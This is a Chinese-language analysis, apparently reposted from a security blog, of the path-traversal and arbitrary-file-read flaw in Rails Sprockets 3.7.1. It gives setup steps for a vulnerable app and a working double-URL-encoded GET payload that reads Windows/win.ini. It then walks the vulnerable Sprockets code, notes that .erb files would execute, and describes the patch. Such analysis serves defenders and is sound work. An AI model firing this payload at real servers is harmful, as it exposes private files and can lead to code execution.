您好,欢迎来到

中国信息港

! 请登录 免费注册
  • 在线企业QQ:

Ruby on Rails 路径穿越与任意文件读取漏洞分析

漏洞修复
2019-3-18   阅读:178

本地安装好 ruby 和rails。以ruby 2.4.4 ,rails v5.0.7为例:

$ gem install rails -v 5.0.7
$ rails new blog && cd blog

此时blog这个rails项目使用的sprockets版本是3.7.2(fixed)。修改blog目录下的Gemfile.lock第122行:

sprockets (3.7.1)

修改配置文件 config/environments/production.rb :

config.assets.compile = true

在blog目录下执行

$ bundle install
$ rails server
    * Min threads: 5, max threads: 5
    * Environment: development
    * Listening on tcp://0.0.0.0:3000
    Use Ctrl-C to stop

payload:

GET /assets/file:%2f%2f//C:/chybeta/blog/app/assets/config/%252e%252e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2fWindows/win.ini

win平台:

linux平台

漏洞分析

注:为明白起见,许多分析直接写在代码注释部分,请留意。

问题出在 sprockets ,它用来检查 JavaScript 文件的相互依赖关系,用以优化网页中引入的js文件,以避免加载不必要的js文件。当访问如 http://127.0.0.1:3000/assets/foo.js 时,会进入server.rb:

def call(env)
    start_time = Time.now.to_f
    time_elapsed = lambda { ((Time.now.to_f - start_time) * 1000).to_i }
 
    if !['GET', 'HEAD'].include?(env['REQUEST_METHOD'])
    return method_not_allowed_response
    end
 
    msg = "Served asset #{env['PATH_INFO']} -"
 
    # Extract the path from everything after the leading slash
    path = Rack::Utils.unescape(env['PATH_INFO'].to_s.sub(/^\//, ''))
 
    # Strip fingerprint
    if fingerprint = path_fingerprint(path)
      path = path.sub("-#{fingerprint}", '')
    end
    # 此时path值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini
 
    # URLs containing a `".."` are rejected for security reasons.
    if forbidden_request?(path)
        return forbidden_response(env)
    end
 
    ...
 
    asset = find_asset(path, options)
    ...

forbidden_request 用来对path进行检查,是否包含 .. 以防止路径穿越,是否是绝对路径:

private
    def forbidden_request?(path)
    # Prevent access to files elsewhere on the file system
    #
    #     http://example.org/assets/../../../etc/passwd
    #
    path.include?("..") || absolute_path?(path)
end

如果请求中包含 .. 即返回真,然后返回forbidden_response(env)信息。

回到call函数,进入 find_asset(path, options) ,在 lib/ruby/gems/2.4.0/gems/sprockets-3.7.1/lib/sprockets/base.rb:63:

# Find asset by logical path or expanded path.
def find_asset(path, options = {})
    uri, _ = resolve(path, options.merge(compat: false))
    if uri
        # 解析出来的 uri 值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini
        load(uri)
    end
end

跟进 load ,在 lib/ruby/gems/2.4.0/gems/sprockets-3.7.1/lib/sprockets/loader.rb:32 。以请求 GET /assets/file:%2f%2f//C:/chybeta/blog/app/assets/config/%252e%252e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2fWindows/win.ini 为例,其一步步的解析过程见下注释:

def load(uri)
    # 此时 uri 已经经过了一次的url解码
    # 其值为  file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini
    unloaded = UnloadedAsset.new(uri, self)
    if unloaded.params.key?(:id)
        ...
    else
        asset = fetch_asset_from_dependency_cache(unloaded) do |paths|
        # When asset is previously generated, its "dependencies" are stored in the cache.
        # The presence of `paths` indicates dependencies were stored.
        # We can check to see if the dependencies have not changed by "resolving" them and
        # generating a digest key from the resolved entries. If this digest key has not
        # changed the asset will be pulled from cache.
        #
        # If this `paths` is present but the cache returns nothing then `fetch_asset_from_dependency_cache`
        # will confusingly be called again with `paths` set to nil where the asset will be
        # loaded from disk.
 
        # 当存在缓存时
        if paths
            load_from_unloaded(unloaded)
            digest = DigestUtils.digest(resolve_dependencies(paths))
            if uri_from_cache = cache.get(unloaded.digest_key(digest), true)
                asset_from_cache(UnloadedAsset.new(uri_from_cache, self).asset_key)
        end
        else
        # 当缓存不存在,主要考虑这个
            load_from_unloaded(unloaded)
        end
    end
    end
    Asset.new(self, asset)
end

跟入 UnloadedAsset.new

class UnloadedAsset
    def initialize(uri, env)
      @uri               = uri.to_s
      @env               = env
      @compressed_path   = URITar.new(uri, env).compressed_path
      @params            = nil # lazy loaded
      @filename          = nil # lazy loaded 具体实现见下面
    end
    ...
    # Internal: Full file path without schema
    #
    # This returns a string containing the full path to the asset without the schema.
    # Information is loaded lazilly since we want `UnloadedAsset.new(dep, self).relative_path`
    # to be fast. Calling this method the first time allocates an array and a hash.
    #
    # Example
    #
    # If the URI is `file:///Full/path/app/assets/javascripts/application.js"` then the
    # filename would be `"/Full/path/app/assets/javascripts/application.js"`
    #
    # Returns a String.
 
    # 由于采用了Lazy loaded,当第一次访问到filename这个属性时,会调用下面这个方法
    def filename
      unless @filename
        load_file_params # 跟进去,见下
      end
      @filename
    end
    ...
    # 第 130 行
    private
    # Internal: Parses uri into filename and params hash
    #
    # Returns Array with filename and params hash
    def load_file_params
        # uri 为  file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini
        @filename, @params = URIUtils.parse_asset_uri(uri)
    end

跟入 URIUtils.parse_asset_uri

def parse_asset_uri(uri)
    # uri 为  file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini
    # 跟进 split_file_uri
    scheme, _, path, query = split_file_uri(uri)
    ...
    return path, parse_uri_query_params(query)
end
 
...# 省略
 
def split_file_uri(uri)
    scheme, _, host, _, _, path, _, query, _ = URI.split(uri)
    # 此时解析出的几个变量如下:
    # scheme: file
    # host:
    # path: /C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini
    # query:
    path = URI::Generic::DEFAULT_PARSER.unescape(path)
    # 这里经过第二次的url解码
    # path:/C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini
    path.force_encoding(Encoding::UTF_8)
 
    # Hack for parsing Windows "file:///C:/Users/IEUser" paths
    path.gsub!(/^\/([a-zA-Z]:)/, '\1'.freeze)
    # path: C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini
    [scheme, host, path, query]
end

在完成了filename解析后,我们回到 load 函数末尾,进入 load_from_unloaded(unloaded) :

# Internal: Loads an asset and saves it to cache
    #
    # unloaded - An UnloadedAsset
    #
    # This method is only called when the given unloaded asset could not be
    # successfully pulled from cache.
    def load_from_unloaded(unloaded)
        unless file?(unloaded.filename)
            raise FileNotFound, "could not find file: #{unloaded.filename}"
        end
 
        load_path, logical_path = paths_split(config[:paths], unloaded.filename)
        unless load_path
            raise FileOutsidePaths, "#{unloaded.filename} is no longer under a load path: #{self.paths.join(', ')}"
        end
        ....

主要是进行了两个检查:文件是否存在和是否在合规目录里。主要关注第二个检测。其中 config[:paths] 是允许的路径,而 unloaded.filename 是请求的路径文件名。跟入 lib/ruby/gems/2.4.0/gems/sprockets-3.7.2/lib/sprockets/path_utils.rb:120:

# Internal: Detect root path and base for file in a set of paths.
#
# paths    - Array of String paths
# filename - String path of file expected to be in one of the paths.
#
# Returns [String root, String path]
def paths_split(paths, filename)
    # 对paths中的每一个 path
    paths.each do |path|
    # 如果subpath不为空
        if subpath = split_subpath(path, filename)
            # 则返回 path, subpath
            return path, subpath
        end
    end
    nil
end

继续跟入 split_subpath , lib/ruby/gems/2.4.0/gems/sprockets-3.7.2/lib/sprockets/path_utils.rb:103。假设上面传入的path参数是``。

# Internal: Get relative path for root path and subpath.
    #
    # path    - String path
    # subpath - String subpath of path
    #
    # Returns relative String path if subpath is a subpath of path, or nil if
    # subpath is outside of path.
    def split_subpath(path, subpath)
      return "" if path == subpath
      # 此时 path 为 C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini
      path = File.join(path, '')
      # 此时 path 为 C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini/
      # 与传入的绝对路径进行比较
      # 如果以 允许的路径 为开头,则检查通过。
      if subpath.start_with?(path)
        subpath[path.length..-1]
      else
        nil
      end
    end

通过检查后,在 load_from_unloaded 末尾即进行了读取等操作,从而通过路径穿越造成任意文件读取。

如果文件以 .erb 结尾,则会直接执行:

补丁

在server.rb中,增加关键字过滤 :// 。

Reference

§ https://github.com/rails/sprockets/commit/c09131cf5b2c479263939c8582e22b98ed616c5f

§ https://blog.heroku.com/rails-asset-pipeline-vulnerability

§ https://twitter.com/orange_8361/status/1009309271698300928

§ https://github.com/rails/sprockets/commit/c09131cf5b2c479263939c8582e22b98ed616c5f

§ https://blog.heroku.com/rails-asset-pipeline-vulnerability

§ https://twitter.com/orange_8361/status/1009309271698300928